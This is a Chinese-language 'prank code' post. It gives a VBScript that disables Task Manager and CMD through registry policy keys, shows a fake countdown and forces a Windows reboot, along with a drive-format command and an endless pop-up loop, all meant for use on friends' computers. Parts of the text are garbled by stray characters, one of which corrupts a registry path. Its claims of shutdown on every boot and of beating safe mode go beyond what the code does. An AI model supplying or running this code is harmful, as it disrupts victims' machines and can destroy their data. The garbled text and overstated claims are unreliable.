整人代码

代码如下：set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\世野Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系统将在"&60-i &"秒后关机闭返液...",1,"系统提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next

复制以上代码，在桌面建一个文本，把轿物代码放进去，另存为VBE格式，

此代码的威力：

1：开机就强制自动关机

2：cmd命令打不开

3：结束任务不管用

4：F8安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，

format 盘符 /Q

格式化指定磁盘的意思。

while(1)

msgbox "哈哈 你被耍了！"

loop

这段代码就比较坏了,一直d出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电脑了,

也是保存为.vbs格式

---